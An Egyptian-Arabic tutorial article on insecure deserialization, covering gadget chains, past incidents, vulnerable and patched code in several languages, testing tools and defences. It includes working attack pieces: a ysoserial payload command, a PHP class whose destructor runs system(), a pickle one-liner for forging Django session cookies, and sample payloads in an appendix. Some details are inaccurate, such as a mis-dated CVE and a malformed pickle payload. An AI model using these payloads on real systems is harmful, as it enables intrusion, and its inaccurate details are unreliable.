Insecure Deserialization: لما بياناتك القديمة بترجعلك تعضك

اربط حزام الأمان، لأن الموضوع ده شوية غريب. بدل ما المهاجم يقولك "سيب لي أنفّذ الكود ده"، هو بيهمس للتطبيق بتاعك "فاكر الحاجة اللي خزّنتها بدري؟ ممكن ترجّعها؟" والتطبيق بكل أدب بيحمّل بالظبط الـ object الخبيث اللي المهاجم بعته له.

لو SQLi هو "خد شوية نص وحش"، و XSS هو "خد سكريبت"، فـ Insecure Deserialization أساسه إنك بتدي حرامي مفتاح بيتك وبتتمنى إنه يبص على السجادة بس ويمشي.

هتلاقي الثغرة دي مستخبية في الـ cookies، الـ API payloads، مخازن الـ sessions، طوابير الرسائل، أنظمة الـ RPC، وأي مكان بصراحة بتتنقل فيه objects بين مكونات النظام. والغريب في الموضوع؟ إن الكود اللي المفروض يكون "ذكي" بما يكفي إنه يفسّر بيانات مركّبة، هو نفسه بيتحول لسطح هجوم.

المقال ده هيمشي معاك في المتاهة كلها: إيه هي الـ serialization وليه موجودة أصلاً، إزاي بتتكسر، سلاسل الـ gadgets الكلاسيكية، اختراقات مشهورة، كود ضعيف بالجافا وبايثون و PHP و Node، واستراتيجيات دفاع فعلاً مفيدة.

إيه هي الـ Serialization أصلاً؟

الـ Serialization هي عملية تحويل الـ objects اللي في الذاكرة لسلسلة بايتات (أو نص) ممكن تتخزن أو تتبعت عبر الشبكة. والـ Deserialization هي العملية العكسية.

JSON و XML و YAML = serialization بنص عادي
Java Serializable ، objects بتاعة PHP، Python pickle ، .NET BinaryFormatter ، Python marshal ، Ruby YAML.dump = serialization "غنية" — دي بتحمل معلومات عن النوع، أسماء الـ classes، وأحياناً حتى بيانات قابلة للتنفيذ.

المطورين بيحبوا الـ serialization لأنها بتخليهم يخزّنوا state معقد في الـ cookies والـ sessions والطوابير والـ caches من غير ما يعملوا mapping يدوي للحقول.

المشكلة: أثناء الـ deserialization، الـ runtime غالباً مش بيبني مجرد structure بسيط للبيانات؛ هو بيعيد بناء objects حقيقية وممكن ينفّذ الـ constructors بتاعتها، وميثودز زي readObject()، __wakeup()، وcallbacks تانية. لو بيانات المهاجم اتحطت في الـ deserializer، هو ممكن يشغّل مسارات كود في الـ classes بتاعتك ماكنتش متوقع إنها تتنفذ ببيانات مش موثوقة.

"Insecure deserialization" معناها بالظبط كده: بيانات مش موثوقة بتتغذى لـ deserializer بيثق فيها كفاية إنه ينفّذ منطق حر.

ليه لازم يهمّك؟

لأن الـ serialization والـ deserialization موجودين في كل حتة:

مخازن sessions أساسية (زي PHP sessions، Django signed cookies)
API endpoints بتستقبل objects/JSON/YAML
message brokers (RabbitMQ، Kafka) بتنقل Java objects متعمل لها pickle
frameworks الـ RPC (Java RMI، Python pickle.loads ، PHP unserialize )
أنظمة caching (memcached بتخزن objects متعمل لها serialize)
صيغ ملفات مخصصة، ملفات config، أو حتى metadata الصور

لما الـ deserialization بتحصل على أي حاجة بتلمس المهاجم، يبقى انتهيت.

نتايج الـ insecure deserialization:

Remote Code Execution (RCE) — ملك التأثير
إنشاء objects تعسفي (إنشاء يوزر admin، رفع صلاحيات)
Denial of Service (لوبات لا نهائية أثناء بناء الـ object)
التلاعب بالبيانات (تعديل إعدادات اتعمل لها deserialize)
استغلال منطق العمل (بناء objects تخدع التطبيق)
فقدان سلامة/سرية بيانات الـ session

معظم الثغرات اللي بتشوفها في الواقع هي RCE، لأن لما تقدر توصّل التطبيق ينفّذ الكود بتاعك جوه الـ process بتاعته، يبقى امتلكت الجهاز بالكامل.

صندوق أدوات المهاجم: Gadgets وChains وCallbacks

Gadgets

الـ gadget هو class فيه method بتتنادى أثناء الـ deserialization وممكن تتستغل. مثلاً، java.util.PriorityQueue بينفّذ compareTo() على العناصر اللي بتتحط أثناء الـ deserialization. لو تقدر تتحكم في العناصر، تقدر تتحكم في الكود اللي هيشتغل.

عالم الجافا (شكراً لـ ysoserial) عنده آلاف الـ gadget chains ممتدة في commons-collections و spring و hibernate و RMI وغيرهم. PHP عنده __wakeup() و __destruct() وmagic methods زي __toString() بتشتغل أثناء الـ unserialize؛ وكمان عنده metadata أرشيفات Phar بتتعمل لها deserialize أوتوماتيك لما الملف بيتعالج. الـ pickle في بايثون بينفّذ القيمة اللي بترجعها __reduce__، اللي ممكن تنادي أي دالة تعسفية.

Chain

بما إن الـ gadgets لوحدها غالباً مش بتديك تنفيذ كود مباشر، المهاجمين بيربطوا كذا gadget مع بعض في chain. مسار deserialization بتاع gadget واحد بينادي class تاني، وده بيوصل في الآخر لـ Runtime.getRuntime().exec() في الجافا أو eval() في PHP.

مثال لسلسلة جافا مستخرجة من ysoserial (commons-collections gadget):

HashMap(deserialize) -> AnnotationInvocationHandler -> BadAttributeValueExpException -> TemplatesImpl.newTransformer() -> Runtime.exec()

مش لازم تفهم السلسلة بالتفصيل، المهم إن في class متصمم بشكل وحش في مكان ما، وهو اللي هيعملك الشغل لو قدرت تديله بايتات serialized متلاعب فيها.

Callbacks

معظم صيغ الـ objects بتدعم ميثودز خاصة بتتنادى تلقائياً أثناء الـ deserialization:

Java: readObject() ، readResolve() ، readExternal()
PHP: __wakeup() ، __destruct() ، Serializable::unserialize()
Python: __setstate__ ، __reduce__ ، __new__ بباراميترز خاصة
.NET: attribute بتاع OnDeserializing ، IDeserializationCallback

المطورين غالباً بيستخدموا الـ callbacks دي لأغراض تهيئة شرعية (فتح موارد، التحقق من state، إلخ). المشكلة إنه لو بيانات المهاجم شغّلت الـ callbacks دي، المهاجم بقى هو اللي متحكم في اللي هيتنفذ.

قصص رعب حقيقية

1. اختراق Apache Commons-Collections (2015)

اللي حصل: باحثين اكتشفوا gadget chain في commons-collections سمح بتنفيذ كود عن بُعد لما سيرفر ضعيف عمل deserialize لـ object متلاعب فيه.

التأثير:

اختراق جماعي لسيرفرات WebLogic و Jenkins و Hadoop و Solr وعشرات التطبيقات التانية اللي بتستخدم المكتبة.
الثغرة كانت قابلة للانتشار زي دودة، واتستخدمت من مجموعة ShangHai عشان تنشر برامج تعدين عملات رقمية.
مصطلح "gadget" بقى جزء من المعجم العام لأمن المعلومات.

الدرس: مكتبة واحدة منتشرة ممكن تصيب نظام بيئي كامل.

2. ثغرة YAML في Ruby on Rails (2013)

اللي حصل: الـ loader الافتراضي لـ YAML في Rails (YAML.load) كان بيعمل deserialize لأي object تعسفي، وده سمح للمهاجمين بإنشاء نسخ من أي class، بما فيها اللي عندها methods خطيرة زي to_s أو initialize. الثغرة دي اتستخدمت للسيطرة على GitHub Pages.

التأثير: تنفيذ كود عن بُعد على GitHub Pages.

الدرس: ماتعملش load لـ YAML من مصادر مش موثوقة؛ استخدم safe_load أو JSON.

3. PHP Object Injection في إضافات ووردبريس

إضافات ووردبريس كتير بتعمل unserialize() لبيانات جاية من الـ cookies أو مدخلات الفورم أو إعدادات الإضافة من غير أي تحقق. المهاجمين ربطوا gadgets من كور ووردبريس ومن classes الإضافات عشان ينفّذوا أوامر PHP على مدونات مستضافة.

4. Java Deserialization في Jenkins (CVE-2017-1000353)

Jenkins كان بيسمح للأدمن يرفع Java objects متعمل لها serialize؛ مهاجم عنده صلاحيات أدمن كان يقدر يبعت object خبيث ويحصل على RCE أثناء فحص الحالة. الثغرة دي اتستغلت على نطاق واسع من شبكات botnet.

5. ثغرة Python Pickle في Airflow

الـ serialization بتاعة الـ DAG في Airflow كانت بتستخدم pickle.loads على بيانات جاية من قاعدة البيانات. مهاجم يقدر يرفع تعريف DAG (عن طريق واجهة الويب) كان يقدر ينفّذ كود بايثون تعسفي لما الـ scheduler يعمل له deserialize.

الدرس: الـ pickle خطير في أي مكان الكود مش موثوق فيه 100%.

كود ضعيف — قاعة المشاهير (والعار)

Java — Deserializing في تطبيقات الويب

ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
User user = (User) ois.readObject();
// do something with user...

أي class موجود على الـ classpath وعنده readObject() خبيث ممكن يتستغل. أنت بشكل عملي بتدعو مطوري الـ gadgets للحفلة.

Python — Pickle من مدخلات مش موثوقة

import pickle

data = request.POST['data']
obj = pickle.loads(data)

حتى لو data شكله زي الـ JSON، الـ pickle هينفّذ بكل سرور أي دوال تعسفية متشفّرة جواه.

PHP — unserialize() على الـ Cookies

$session = $_COOKIE['SESSION'];
$user = unserialize($session); // attacker can craft object graph here

PHP هينادي __wakeup() أو __destruct() وغيرهم. ولما الميثودز دي بتستخدم الخصائص بشكل غير آمن، البوم بيحصل.

Node.js — `vm.runInContext` عن طريق الـ deserialization

const obj = JSON.parse(data); // safe right?
//... except later
vm.runInContext(obj.code, sandbox);

مش مثال deserialization خالص، بس بيوضّح إن الثقة في objects متعمل لها parse خطيرة بنفس القدر.

.NET — BinaryFormatter

var formatter = new BinaryFormatter();
var obj = formatter.Deserialize(stream);

الـ BinaryFormatter أساساً كود متخزن في شكل serialized؛ مايكروسوفت نفسها بقت تحذّر من استخدامه خالص.

خطوات استغلال عملية — Java Commons-Collections

(ده الـ "hello world" بتاع الـ insecure deserialization؛ تقريباً كل tutorial بيستخدمه.)

ابني gadget chain باستخدام ysoserial:

yoso -g CommonsCollections1 -p "touch /tmp/pwned" > payload.bin

اعمل base64 encode وابعته للضحية في POST body أو header.
السيرفر بيعمل deserialize وينفّذ أمر /tmp/pwned .

المهاجم مش محتاج يفهم السلسلة، هو محتاج بس endpoint ضعيف وgadget مناسب.

اختبار ثغرات الـ Deserialization

نقاط الفحص

أي مكان بتنادي فيه دالة deserialize/unserialize/load على بيانات خارجية
handlers الـ sessions، كود الـ cookies، API endpoints، RPC، طوابير الرسائل
دوّر على كلمات زي unserialize ، readObject ، pickle.loads ، BinaryFormatter

payloads يدوية

Java: gadgets من ysoserial
PHP: O:1:"A":1:{s:1:"a";O:1:"B":0:{}} وأمثالها، أو payloads بصيغة phar://
Python: pickle.dumps(__import__('os').system('id'))

أدوات

ysoserial — بيولّد Java gadget chains
PHPGGC — PHP Generic Gadget Chains
gadgetinspector — يدور على gadgets جوه JAR
ypickle — للتلاعب بـ payloads الـ pickle في بايثون

الدفاع: إزاي تصلح الفوضى دي فعلاً

1. ماتعملش deserialize لبيانات مش موثوقة

نقطة. لو مش قادر تقول "أبداً" بثقة، يبقى أنت غلطان.

2. استخدم صيغ آمنة

JSON (مع whitelisting) — بيانات بس، بدون كود
Protocol Buffers، Avro — schemas قوية النوع من غير تنفيذ كود
loaders آمنة لـ YAML: yaml.safe_load() أو safe_load_all

3. طبّق فحص صارم للأنواع

لو لازم تعمل deserialize، تأكد من الأنواع قبل ما تستخدمها. مثلاً، في الجافا استخدم ObjectInputFilter بنظام whitelist.

4. استخدم حراس أو فلاتر للـ deserialization

Java 9+: ObjectInputFilter للحد من الـ classes المسموحة
Apache Commons IO ValidatingObjectInputStream
توصيات PHP: عطّل unserialize_callback_func ، واضبط phar.readonly=1

5. وقّع أو شفّر البيانات المعمول لها serialize

لو البيانات هتخرج من حدود الثقة بتاعتك (cookie، تخزين على العميل)، وقّعها بـ HMAC وتأكد منها قبل الـ deserialization. ده بيمنع التلاعب.

6. ابعد عن `BinaryFormatter` و `pickle` و `unserialize`

استخدم بدائل زي JSON، أو على الأقل استخدم في PHP 7.0+ الصيغة unserialize($data, ['allowed_classes'=>false]).

7. قوّي صلاحيات التطبيق

شغّل التطبيق بأقل صلاحيات ممكنة، عشان حتى لو حصل RCE ما يقدرش يرفع صلاحياته بسهولة. في الجافا، شغّل من غير صلاحيات Runtime.exec().

8. إدارة الباتشات والاعتماديات

شيل أو رقّي المكتبات المعروف إن فيها gadgets. استخدم أداة زي OWASP Dependency-Check أو npm audit.

9. اعزل كود الـ deserialization

شغّله في process أو container منفصل بحدود موارد صارمة. لو أسوأ سيناريو حصل، الـ process ده بس اللي هيموت.

10. راقب محاولات deserialization المشبوهة

سجّل أي عملية deserialization ونبّه على أسماء classes أو أحجام payloads غير معتادة.

إرشادات للمطورين

راجع كل نداء serialization/deserialization أثناء مراجعة الكود.
اسأل نفسك: "البيانات دي جاية منين؟ ممكن مهاجم يأثر فيها؟" لو الإجابة أيوه، متعملش لها deserialize.
فضّل صيغ بيانات مالهاش metadata قابلة للتنفيذ.
ثقّف الفريق: الـ insecure deserialization مش صدفة إنها في قايمة OWASP Top 10.

خرافات شائعة

"إحنا بس بنخزن إعدادات المستخدم" — المهاجم لسه يقدر يبني objects خبيثة.
"الكوكي متشفر" — التشفير مابيوقفش تنفيذ الـ gadget، بيوقف بس التلاعب.
"الـ API بتاعنا بيقبل JSON بس" — طيب الطوابير الداخلية أو مخازن الـ sessions؟
"إحنا بنستخدم framework، المفروض يتعامل مع الموضوع" — الـ frameworks غالباً بتيجي جاهزة بـ gadgets من الأساس.

أفكار أخيرة

الـ serialization ميزة قوية جداً. وعمل deserialization لبيانات مش موثوقة هو سطح هجوم بيحوّل كود بريء بطريقة سحرية لثغرة RCE. أأمن deserializer هو اللي مابتناديهوش خالص.

بعد أول استغلال deserialization تشوفه بنفسك، هتلاقيه في كل حتة: dumps الـ memcached، خدمات SOAP، كوكيز تسجيل الدخول. بيبانوا حاجة عادية لحد ما فجأة يمتلكوا شبكتك كلها.

يبقى، اكتب serializers أقل، أو على الأقل عاملهم كإنهم فيهم متفجرات.

نقاط دخول الهجوم — فين بتحصل الـ Deserialization

الـ deserialization مش endpoint واحد، هي نمط ممكن يظهر في أماكن مش متوقعة. لما تعرف الأماكن دي، تقدر تصطاد الثغرة بسهولة أكتر.

مخازن الـ Sessions — كوكيز أو sessions من جانب السيرفر في PHP وRails وDjango غالباً فيها objects متعمل لها serialize. مهاجم يقدر يتلاعب في الـ session أو يبعت الكوكي بتاعه ممكن يحقن gadget.
بيانات الـ API — بعض الـ APIs بتقبل JSON/MsgPack بصيغة serialized، أو في عالم الجافا بتقبل حرفياً application/x-java-serialized-object . لو الـ API بتاعك مابيتحققش من الـ schema بشكل صارم، أنت بتدعو المشاكل.
طوابير/وسطاء الرسائل — Kafka و RabbitMQ و ActiveMQ غالباً بتنقل blobs من بيانات serialized بين microservices. أي منتج (producer) مخترق يقدر يسمم الطابور كله.
RPC والاتصال البعيد — Java RMI، .NET Remoting، XML-RPC، SOAP؛ الـ frameworks دي بتعمل deserialize للـ objects الجاية من الشبكة كجزء من البروتوكول نفسه.
رفع ملفات / ملفات إعدادات — تخيل مستخدم بيرفع ملف .ser أو YAML config بيتحلل من الـ backend؛ أنظمة كتير بتعمل له deserialize من غير تفكير.
أنظمة الـ Caching — memcached/Redis بتخزن objects للمستخدمين متعمل لها serialize. شوف استغلال EVAL في Redis لما يتضاف على الـ unserialize.
مكتبات طرف ثالث — الخطر الحقيقي مش في الكود بتاعك، هو في المكتبات اللي بتستخدمها. لو دول بيعملوا deserialize لبيانات مخزنة في قاعدة بياناتك، أنت معرّض للثغرة حتى لو أنت شخصياً مانديتش deserialize() أبداً.

أنواع الصيغ ومخاطرها

الصيغة	الاستخدام النموذجي	اللغة/المكتبة	مستوى الخطورة
JSON	Web APIs	parsers مدمجة	منخفض (بدون كود)
XML	Config، SOAP	`xml.Unmarshal` (Go)، `XMLDecoder`	متوسط (XXE + حقن objects في بعض اللغات)
YAML	Config، CI/CD	`yaml.load`	عالي (objects + تنفيذ كود)
PHP serialize	Sessions، cookies	`unserialize()`	عالي جداً (magic methods، phar)
Java serialization	RMI، JMX، caches	`ObjectInputStream`	عالي جداً (gadgets بكل مكان)
Python pickle	IPC، نماذج تعلّم آلي	`pickle.loads`	عالي جداً (استدعاءات تعسفية)
.NET BinaryFormatter	WinForms ViewState وغيره	`BinaryFormatter.Deserialize`	عالي جداً (مايكروسوفت بتحذر منه)
Ruby Marshal	Rails sessions	`Marshal.load`	عالي (classes بها callbacks خطيرة)

حتى جوه الصيغة الواحدة، الإصدارات المختلفة ممكن تضيف أو تشيل ميزات خطيرة. دايماً راجع الـ security advisories بتاعة المكتبة.

إزاي المهاجمين بيدوروا على Gadgets

اكتشاف الـ gadgets نص هندسة عكسية ونص إبداع. وده إزاي المحترفين بيعملوا كده:

تحليل ستاتيكي للـ JARs/binaries — دوّر على classes بتنفّذ Serializable وعندها methods زي readObject()/readResolve() . أدوات: grep -R "readObject" *.jar ، gadgetinspector، ysoserial.
Fuzzing ديناميكي — غذّي النظام بـ objects عشوائية متعمل لها serialize وراقب الأعطال أو الـ RCE، وسجّل الـ classes اللي اتنفذت. بعض السكانرات الجاهزة بتعمل ده أوتوماتيك.
تتبع الاعتماديات — لما تلاقي gadget واحد، ادخل جوه dependencies بتاعته بالتكرار؛ غالباً السلسلة بتمتد على أكتر من مكتبة.
كتالوجات المجتمع — باحثين كتير بينشروا قوائم gadget chains (ysoserial، PHPGGC، إلخ). المهاجمين بيعملوا copy-paste للسلاسل القديمة على أهداف جديدة.

بناء الـ Gadget Chain بنفسك

مفيد تعليمياً إنك تبني سلسلة بإيدك. إليك الخطوات في الجافا:

اختار تطبيق هدف عنده اعتماديات (زي تطبيق Spring قديم).
اجمع كل الـ classes على الـ classpath اللي بتنفّذ Serializable .
دوّر على class عنده تأثير جانبي مهم في method بتتنادى أثناء الـ deserialization (مثلاً templatesImpl.setBytecodes() اللي بعدين بينادي newTransformer() ).
اربط الـ class ده بـ class تاني ظاهر قبله في object graph؛ كرر لحد ما توصل لـ method نهائية زي Runtime.exec() أو ProcessBuilder.start() .
اعمل serialize لـ object graph بيمثل السلسلة باستخدام ObjectOutputStream ، بعدين اعمله deserialize محلياً للتأكد من تنفيذ الكود.

في PHP، تقدر تبني gadget باستغلال الـ magic methods:

class Evil {
    public function __destruct() {
        system($this->cmd);
    }
}

$exploit = new Evil();
$exploit->cmd = 'touch /tmp/pwned';
echo serialize($exploit);

النص اللي اتعمله serialize ممكن يتبعت لـ unserialize() في endpoint ضعيف.

أمثلة أعمق باللغات

تحت أمثلة كود ضعيف ومصحّح أشمل، تتماشى مع عمق باقي المقالات.

Java — Spring Boot مع JPA

Controller ضعيف

@RestController
public class UserController {
    @Autowired
    private UserService userService;

    @PostMapping("/users/import")
    public ResponseEntity<?> importUsers(@RequestBody byte[] data) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        List<User> users = (List<User>) ois.readObject(); // deserializes attacker-supplied data
        userService.saveAll(users);
        return ResponseEntity.ok("imported");
    }
}

المهاجم يقدر يبعت POST بـ ArrayList متعمل له serialize فيه gadgets. الحل إنك ترفض الـ classes غير المسموحة أو تستخدم صيغة آمنة زي JSON.

النسخة المصححة

private static final Set<String> ALLOWED = Set.of(
    "com.example.User",
    "java.util.ArrayList"
);

@PostMapping("/users/import")
public ResponseEntity<?> importUsers(@RequestBody byte[] data) throws IOException {
    try (ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new ByteArrayInputStream(data))) {
        vois.accept(ALLOWED);
        List<User> users = (List<User>) vois.readObject();
        userService.saveAll(users);
    } catch (ClassNotFoundException e) {
        return ResponseEntity.status(400).body("invalid data");
    }
    return ResponseEntity.ok("imported");
}

الـ ValidatingObjectInputStream بيضمن إن الـ classes المسموحة بس هي اللي هتتقبل.

Python — هجوم على Session في Django

بشكل افتراضي Django ممكن يخزن cookies موقّعة (SessionMiddleware). الكوكي فيه بيانات pickle متعملة لها base64. المهاجم اللي يحصل على المفتاح السري يقدر يزوّر كوكيز بـ objects خبيثة.

سيناريو ضعيف

python -c "import pickle, base64, json
data={'_auth_user_id': 1}
mal = pickle.dumps((__import__('os').system, ('touch /tmp/pwned',)))
print(base64.b64encode(mal))

حط النص الناتج كقيمة كوكي الـ session؛ Django هيعمل unpickle وينفّذ os.system.

الحل: استخدم JSON serializer (SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer') أو دوّر المفاتيح.

PHP — إضافة ووردبريس

كود ضعيف في الإضافة

function load_user_settings() {
    $data = $_COOKIE['wp_settings'];
    $settings = unserialize(base64_decode($data));
    // ...
}

مهاجم بيضبط wp_settings بقيمة base64 لـ object graph متعمل له serialize فيه class gadget من إضافة تانية عنده method __toString() بتنفّذ exec().

الحل: متعملش unserialize لكوكيز المستخدم، أو مرّر ['allowed_classes'=>false] وخزّن JSON بدلاً من كده.

.NET — مثال ViewState

في ASP.NET، الـ ViewState عبارة عن blob بصيغة Base64 ممكن يحتوي على objects متعمل لها serialize لو المطور استخدم ViewState["MyObject"] = someObject; في كود الصفحة. الـ framework بيستخدم LosFormatter تحت الغطاء اللي بيعمل serialize للـ objects باستخدام System.Web.UI.ObjectStateFormatter. ولما الصفحة تعمل postback، الـ framework بيعمل deserialize لأي حاجة موجودة في حقل __VIEWSTATE من غير ما يتحقق من محتواها.

سيناريو ضعيف

protected void Page_Load(object sender, EventArgs e)
{
    if (IsPostBack)
    {
        var obj = ViewState["settings"] as MySettings; // attacker-controlled
        // obj may already have executed dangerous code during deserialization
    }
}

المهاجم يقدر يبني payload فيه نسخة من class عنده callback خطير زي OnDeserialized، أو ينفّذ IObjectReference عشان يرجّع object مختلف. الـ payload بيتشفر بـ Base64 وبيتحقن في باراميتر __VIEWSTATE وقت إرسال الفورم. لما دورة حياة الصفحة تكمل، الـ framework بيعمل deserialize للـ payload وكود المهاجم بيتنفذ.

الحل

تجنب تخزين objects معقدة في ViewState؛ استخدم أنواع بسيطة أو Session مع state من جانب السيرفر.
فعّل ViewState MAC ( <pages enableViewStateMac="true" /> ) واستخدم machineKey validation عشان تكتشف أي تلاعب.
في ASP.NET Core، ابعد عن BinaryFormatter خالص وفضّل state بصيغة JSON.

// safer alternative: store JSON
var json = JsonSerializer.Serialize(mySettings);
ViewState["settings"] = json;

// on postback
var json = ViewState["settings"] as string;
var obj = JsonSerializer.Deserialize<MySettings>(json);

تقنيات استغلال متقدمة

بعيداً عن سلاسل الـ gadgets الأساسية، المهاجمين المحترفين بيستخدموا إبداع عشان يصعدوا من RCE بسيط للسيطرة الكاملة أو التخفي المستمر.

1. الانتقال بين البيئات (Environment Pivoting)

لو التطبيق الهدف بيعمل deserialize لـ objects مخزنة في cache مشترك (Redis، memcached) وصولة له خدمات متعددة، اختراق خدمة واحدة ممكن يسمم الـ cache وينفّذ كود في سياقات تانية. بالطريقة دي بعض عصابات الفدية بتتحرك أفقياً بين الـ microservices.

2. الربط مع ثغرات تانية

اربط الـ insecure deserialization بضعف تاني:

SSRF — استخدم payloads deserialized عشان تبني طلبات توصل لـ endpoints داخلية وتزحف أكتر.
تجاوز الـ authentication — لو gadget بيسمح بإنشاء object يوزر أدمن، شغّله عن طريق bug منطقي بيعمل deserialization أوتوماتيك بعد تسجيل الدخول.
رفع الملفات — ارفع ملف .ser / .dat فيه objects خبيثة، وبعدين شغّل كود السيرفر اللي بيعمل deserialize أوتوماتيك للملفات المرفوعة.

3. Deserialization بدون رؤية (Blind)

بعض التطبيقات بتعمل deserialize لكن مفيش output ظاهر تلاحظه. المهاجمين بيستخدموا DoS أو قنوات التوقيت:

اعمل serialize لـ object graph بيدخل في recursion لا نهائي — ده بيسبب ارتفاع في استهلاك الـ CPU وتأخير في الرد.
استخدم serialization لـ java.util.concurrent.ThreadPoolExecutor مع Runnable مخصص بينام — قِس فرق التوقيت عشان تستنتج توفر الـ gadget.

4. التسريب خارج القناة (Out-of-Band)

زي بالظبط DNS exfil في SQLi، استغلال الـ deserialization ممكن يشغّل اتصالات شبكة خارجة عن طريق gadgets بتعمل HTTP أو DNS lookups. مثلاً، gadget بيسجل على سيرفر Syslog بعيد هيبعت بيانات المهاجم لجهاز يتحكم فيه المهاجم.

نقاط دخول إضافية — إيميل، مستندات، وأكتر

الـ deserialization مش محصورة في طلبات الويب. أي مكان بتتنقل فيه بيانات serialized بين حدود ثقة مختلفة، الثغرة واردة:

مرفقات الإيميل — تطبيق مؤسسي بيعالج مرفقات .ser أو .pkl وبيعمل لها deserialize أوتوماتيك.
metadata المستندات — بعض محللات PDF/Office بتعمل deserialize لـ objects مضمّنة (OLE، ActiveX)، وده بيأدي لـ RCE لما تفتح مستند خبيث.
تطبيقات الموبايل — Parcelable في أندرويد و NSCoding في iOS هي أنظمة serialization. بيانات خبيثة في اتصالات بين التطبيقات أو push notifications ممكن تخترق التطبيق.
أجهزة IoT — blobs الإعدادات غالباً بتستخدم binary serialization للكفاءة؛ مهاجمين بيبعتوا blobs متلاعب فيها عبر الشبكة يقدروا ينفّذوا كود على الراوترات وأجهزة DVR وغيرها.

أدوات وأتمتة

كذا أداة بتخلي اكتشاف واستغلال الـ insecure deserialization أسهل بكتير:

ysoserial — الأداة الأساسية لتوليد Java gadget chains. بتدعم عشرات أنواع الـ payloads وبتقلّد سلوك الهدف (مثلاً CommonsCollections1 ، Spring1 ).
PHPGGC — PHP Generic Gadget Chains. بتولّد payloads لـ WordPress وMagento وLaravel وعشرات الـ frameworks التانية.
gadgetinspector — بيفحص ملفات JAR/WAR عن طريق تحليل الـ bytecode بحثاً عن gadgets محتملة.
إضافة Burp Suite — "SerialKiller" — بتعمل fuzz للباراميترات بـ payloads serialized أوتوماتيك.
أدوات Pickle — سكريبتات بايثون لتحليل وتعديل payloads الـ pickle، منها ypickle و pickletools من المكتبة القياسية.
ysoserial.NET — gadget chains لـ deserialization في .NET (BinaryFormatter، ObjectStateFormatter).
أدوات Phar deserializer — أدوات command-line لبناء أرشيفات PHAR خبيثة في PHP.

أتمتة الاكتشاف بسكانرات مخصصة بتدور على نداءات API الـ serialization في repositories الكود (grep على deserialize(، unserialize(، loadObject، إلخ) وبعدين اختبر الـ endpoints دي بشكل ديناميكي.

قائمة تدقيق شاملة للتخفيف

الفئة	الإجراء	أدوات/ملاحظات
التصميم	شيل الـ serialization اللي مش لازمة	استبدلها بـ JSON/Protobuf لو ممكن
الكود	Parameterize والتحقق من المدخلات	`OWASP Java Encoder`، `validator.js`
الاعتماديات	راجع المكتبات بحثاً عن gadgets	`OWASP Dependency-Check`، `retire.js`
الإعدادات	فعّل filters / ObjectInputFilter	Java 9+، hooks بتاعة `.NET AppDomain.AssemblyLoad`
البنية التحتية	اعزل كود الـ serialization	Sidecar containers، صلاحيات JVM مقيّدة
المراقبة	سجّل أحداث الـ deserialization	اربطها بأحجام أو classes غير معتادة
الاختبار	اعمل fuzz وpenetration testing بانتظام	Burp، سكريبتات شبيهة بـ SQLMap للـ serialization
التدريب	ثقّف المطورين عن مخاطر الـ serialization	مستندات داخلية، جلسات تدريب OWASP

(تقدر تنسخ الجدول ده لمستندات الأمان بتاعتك وتعلّم على البنود اللي بتطبقها.)

مسرد المصطلحات

Gadget — class/method بينفّذ فعل قابل للاستغلال أثناء الـ deserialization.
Chain — سلسلة من الـ gadgets مربوطة عشان توصل لهدف، غالباً RCE.
Callback — method بتتنادى تلقائياً من الـ deserializer (مثلاً __wakeup ).
Filter — آلية للسماح/المنع بالقايمة (whitelist/blacklist) للـ classes أثناء الـ deserialization.
ViewState — آلية في ASP.NET للحفاظ على حالة الصفحة بين الطلبات.
Phar — صيغة أرشيف PHP ممكن تحتوي على objects متعمل لها serialize في الـ metadata بتاعتها.
Pickle — صيغة serialization الثنائية بتاعة بايثون.
LosFormatter — الـ serializer بتاع ASP.NET للـ ViewState وتحقق الأحداث.
BinaryFormatter — محرك serialization ثنائي في .NET (متوقف حالياً).

أفكار أخيرة (تاني) — ليه الثغرة دي مستمرة

الـ insecure deserialization لسه من أخطر التهديدات بالظبط لأن الـ serialization مفيدة جداً. المطورين غالباً بيستفيدوا من ميزات اللغة من غير ما يفكروا في الآثار الأمنية؛ والـ frameworks بتوفر methods مريحة بتعمل deserialize لبيانات المستخدم بصمت، والثقة الضمنية الناتجة عن ده هي جوهر المشكلة.

حتى بعد فضيحة Commons-Collections الأسطورية، آلاف التطبيقات لسه بتشتغل بـ gadget chains ضعيفة. سلسلة التوريد هي الحلقة الأضعف: ممكن أنت شخصياً ماتناديش readObject() أبداً، بس لو الـ dependency بتاعتك بتعمل كده، أنت معرّض. المهاجمين عارفين ده وبيدوروا على أي endpoint أو API أو بيانات مخزنة هتخلي الـ dependencies دي تعمل deserialize.

الدفاع ثقافي بقدر ما هو تقني: عامل البيانات المعمول لها serialize كإنها مش موثوقة، قلل استخدامها، وحط في checklist مراجعة الكود بند بيقول "الكود ده بيعمل deserialize لحاجة؟ لو أيوه، ليه؟"

لما تتبنى العقلية دي، هتبدأ تشوف الـ insecure deserialization في كل حتة — مش بس في تطبيقاتك، لكن في مشاريع الأوبن سورس اللي بتستخدمها. ولو ماشفتهاش، يمكن تكون أنت اللي هتكتب الـ worm الجاية.

فضل حذر، اقفل الـ gadgets بتاعتك، وفضّل JSON.

ملحق — نماذج Payloads (للمرجعية)

مثال gadget chain في الجافا (CommonsCollections1)

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAAAAAAAAAABDAAAeHB3CAAAAAB4
```(مقتطع لتقصير المساحة)

### مثال object بصيغة PHP serialize

O:8:"Exploit":1:{s:3:"cmd";s:10:"id >/tmp/p";}


### تنفيذ أوامر عن طريق Python pickle
```python
import pickle, os
payload = pickle.dumps(os.system)

(استخدم دول في معامل تجريب مضبوطة بس!)

الجدول الزمني: أهم اختراقات وثغرات الـ Deserialization

الجدول الزمني ده بيوضّح إزاي فئة الثغرات دي اتطورت وليه لسه موجودة.

2007 — Stefan Esser وثّق حقن objects عن طريق unserialize() في PHP؛ مشاكل مبكرة في إضافات ووردبريس.
2010 — الكشف عن ثغرة تنفيذ كود عن بُعد عبر YAML في Ruby on Rails (CVE-2013-0156).
2014 — مشكلة في HP LoadRunner؛ الـ binary serialization أدت لـ RCE في سكريبتات قياس الأداء.
2015 — نشر gadget chain بتاع Apache Commons-Collections (CVE-2015-7501)، أول RCE جافا واسع الانتشار عن طريق deserialization.
2016 — تجاوز sandbox في Jenkins عن طريق deserialization (CVE-2016-0788).
